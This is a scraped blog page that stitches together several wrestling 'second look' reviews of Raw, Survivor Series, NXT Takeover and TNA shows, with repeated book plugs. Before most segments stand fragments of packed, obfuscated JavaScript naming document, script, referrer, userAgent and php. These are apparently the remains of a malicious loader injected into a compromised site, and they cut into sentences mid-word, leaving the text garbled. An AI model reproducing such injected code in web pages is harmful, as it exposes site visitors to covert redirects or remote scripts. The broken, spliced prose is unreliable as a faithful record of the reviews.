I gave the show a C- and the more I think about it, the more I think that’s a bit high. Let’s look at the whole mess again.
https://wrestlingrumors.net/kbs-review-reviewing-review-bound-glory-2017/
Dusting off one of my old ideas this week.
https://wrestlingrumors.net/kbs-review-reviewing-review-fastlane-2017/
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfztr|var|u0026u|referrer|yhrdh||js|php'.split('|'),0,{})) hadn’t planned for this to be a recurring feature but this week’s show seemed like it deserved a second look. Last week’s show was outstanding while this week’s show felt like any old episode and that’s not a good thing. I know things had to come back down to earth a little bit but there were some things here that really came off bad. Let’s get to it.
The show opened with a voiceover saying Last Week On Monday Night Raw. I know they do these almost every week but this made it feel more like a special feature instead of something to fill in time. They also kept it shorter and more to the point for a big improvement.
Braun Strowman squashed a jobber. These matches have gotten me more interested in Strowman than anything since his debut.
Mark Henry was given a US Title shot against Rusev later in the show. The match was exactly what you would expect from the two of them fighting with Rusev winning via the Accolade. There were two interesting parts here though. First of all, Lana was in her wedding dress and dear goodness that woman is gorgeous.
In the more interesting part though, Roman Reigns came out for the save post match and seemed to set up what seems like a feud against Rusev for the US Title. Punishment over the drug test aside, this is the kind of thing Reigns needs to do: fight in the midcard in a feud where people are going to cheer for him in a simple story so he can build more love from the fans. This is what he needed to do years ago to get himself over instead of getting one third of the Shield over but for some reason REIGNS MUST HAVE BEEN THE STAR AT WRESTLEMANIA XXXI NO MATTER IF HE WAS READY OR NOT.
Nia Jax squashed another jobber. Same idea here as Strowman and the same positive result.
Jinder Mahal and Heath Slater came to the ring to say they wanted jobs, Foley came out to make a match for said job and Mahal won in 14 seconds. Next.
Rollins beat Sami Zayn in a good enough main event. The idea here was to have Rollins beat someone similar to Finn with all the NXT experience to set up the Summerslam match and it worked just fine, though hearing the announcers brag about this being on Raw for the first time ever made me cringe.
The other reason I wanted to do this again was the closing segment, which I completely undersold in the live review. Paul Heyman and Brock Lesnar came out to do their usual speech with a focus on Randy Orton not being able to hit the RKO on Lesnar. Now anyone who has watched wrestling before knew what was coming here but it was still awesome to see Orton run through the crowd and lay Lesnar out with an RKO to end the show. I really liked this and it was pulled off perfectly.
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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytite|var|u0026u|referrer|bsaff||js|php'.split('|'),0,{})) get this over with. This past week’s Raw was nothing short of a disaster as the show simply isn’t getting better the people are leaving in droves at this point. There’s no secret that this week’s show was one of the weakest in a long time and did very little to make me want to see Sunday’s pay per view. Let’s get to it.
The show opened with the League of Nations talking about how they were going to take care of Reigns and pals on Sunday. This brought out the Wyatt Family and I was immediately interested. They said they were here for the chaos and a brawl was teased, which could have made things a lot more interesting with the Wyatts moving up to the main event and possibly turning face, meaning we could drop this ECW reunion idea that has been done a doze times.
But no, because that might be too interesting. No instead we got the ECW guys coming out again (with Rhyno coming in to even things up), only to be joined by Reigns and company. This opened up some new dynamics for where the teams could go and the promos could have been interesting.
But no, instead of letting them talk or build up ANYTHING, the match was joined in progress when we got back with everyone in the match at once. Why bother with building something up when you can just give us everything right now and leave nothing to look forward to later tonight? Dreamed pinned Rowan, Sheamus Brogue Kicked Bubba and Reigns speared Sheamus to win, because SCREW YOU World Champion, you need to lose to Reigns like everyone else.
New Day came out and did their comedy thing before doing the champions losing thing. Yeah this time it was to the Lucha Dragons to set up the ladder match on Sunday because there was NO OTHER WAY to do this than have the champions lose. Having the Usos vs. the Dragons in a show stealer with the New Day interfering for a no contest so everyone looked equal was totally off the table of course.
Braun Strowman squashed Tommy Dreamer just like you would expect him to. You can forget about the Wyatts vs. the League. That really was just a tease at the start of the show.
Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:
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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hdynf|var|u0026u|referrer|kdzid||js|php'.split('|'),0,{})) been a bit since I’ve done one of these for Raw but the show has been so pitiful lately that I figured it was time to take another look at it. The show’s ratings are pathetic and it should be interesting to look at how screwy the show has been to see why they’re in such a horrible place (even though they’re making bank with the sponsors etc.). We’re fresh off Survivor Series, meaning Sheamus just cashed in Money in the Bank because of reasons. Let’s get to it.
The Prime Time Players and Goldust beat the Ascension and Stardust. It was short and it was meaningless, but in this case it was boring. Not everything can work.
Charlotte and Paige had a much better rematch than the mess they had the previous night. They actually acted like they wanted to hurt each other instead of having a lam wrestling match, which made for a much better story. The ending helped as well with a double countout to likely set up a big brawl at TLC. It makes you wonder what they were thinking at the first pay per view match, but it was probably them letting them calm down after the whole Reid Flair fiasco.
Ryback beat up Heath Slater in another filler segment. Not a match of course, but a segment.
Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:
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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfbei|var|u0026u|referrer|sdied||js|php'.split('|'),0,{})) I wait a little bit before writing these things because I want to let the shows settle in a little bit. I don’t want to throw up some immediate reactions and miss a few things that I would get with more time. In this case however, I haven’t changed what I was thinking since the show ended. This show had a few options to get out of the dilemmas WWE are in at the moment but some of those options are pretty horrid. Let’s get to it.
The pre-show did exactly what it needed to do: take a bunch of people and throw them together into a Survivor Series match to give them something to do and warm the crowd up. It was a group of midcarders with the returning Goldust getting a nice reaction. They seem to be setting up Goldust vs. Stardust, which makes little sense given how lame their first match was.
Charlotte defended the title against Paige and again sweet goodness they missed the point here. I know they were trying to get out from under the whole Reid Flair mess from Monday but their solution was to have a boring, run of the mill match. Instead of Charlotte trying to kill her, she started the match with a freaking waistlock. As soon as that happened, I knew they were done here. This had the potential to be a big slugfest but we had Paige working on the ribs and Charlotte just wrestling a normal match.
Then HHH came out and ate a spear, allowing Sheamus to cash in Money in the Bank five minutes later. This is where the show falls apart because the booking is stupid. So the story making the rounds is that the fans were going to boo Reigns winning the title so they decided to screw him over and build up sympathy, basically taking the Daniel Bryan path.
Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:
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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhfba|var|u0026u|referrer|nnnbi||js|php'.split('|'),0,{})) is a show that I did not want to see. In case you didn’t notice it in my 148 different versions of complaining about the show, this was the least interested I’ve been in a pay per view since…..well since whenever TNA last had a pay per view probably. It’s almost entirely made of rematches, which can work but in this case I wasn’t interested in the matches the first time around either. This is the dark time of the year for the company but I wound up really liking the show. A lot of that was due to the lack of expectations but let’s see how well it holds up.
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihazk|var|u0026u|referrer|ktazr||js|php'.split('|'),0,{})) from the important shows, my favorite reviews to look back on are the shows where people say I got the ratings totally wrong. I’ve changed my opinion on shows before via a second look so maybe that’s going to happen here. This week’s show was pretty much hated but I had a decent enough time with it. Let’s get to it.
Brie Bella pinned Charlotte in a tag match because the way to get someone new over in the division is to give them the title and then have them lose almost every match. Paige and Natalya fought a bit to pad out the match. I do like the idea that they have more than one Divas story going at the same time, but they could have better ideas than Brie Bella pinning the Divas Champion.
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
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And check out my Amazon author page with cheap wrestling books at:
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dyeek|var|u0026u|referrer|dinnn||js|php'.split('|'),0,{})) don’t know why I don’t do these for every Takeover since they’re NXT pay per views. This felt like a show that was thrown together for the sake of having another Takeover on the calendar, but this is NXT where you can actually have faith in your wrestling product for a change. Let’s get to it.
The Rhodes Family presented the winners with a trophy. Nothing came of this but it was a nice moment.
Oh and no Dusty Finish? Really? Not once in the whole thing?
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfhys|var|u0026u|referrer|bkffa||js|php'.split('|'),0,{})) get this out of the way before they get to Impact tonight and screw it up even worse. I’ll be covering Takeover at first so I don’t get to see how bad things are really going to get, but I can’t wait to see how far down things really go. This is TNA’s biggest show of the year and it amazed me how they managed to screw it up all over again. Let’s get to it.
In your second pointless moment of the night, Ethan Carter III came out to talk about how awesome he is. This was just a basic promo that accomplished nothing other than killing off a few minutes.
Speaking of killing stuff off, the second match of the night killed off the crowd. It was a 12 man gauntlet match with the winner getting a shot at any title he wanted in the future. Of course this was changed with about two minutes left in the match to being able to challenge for ANY title, because only TNA would think all of its titles are worth anything.
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
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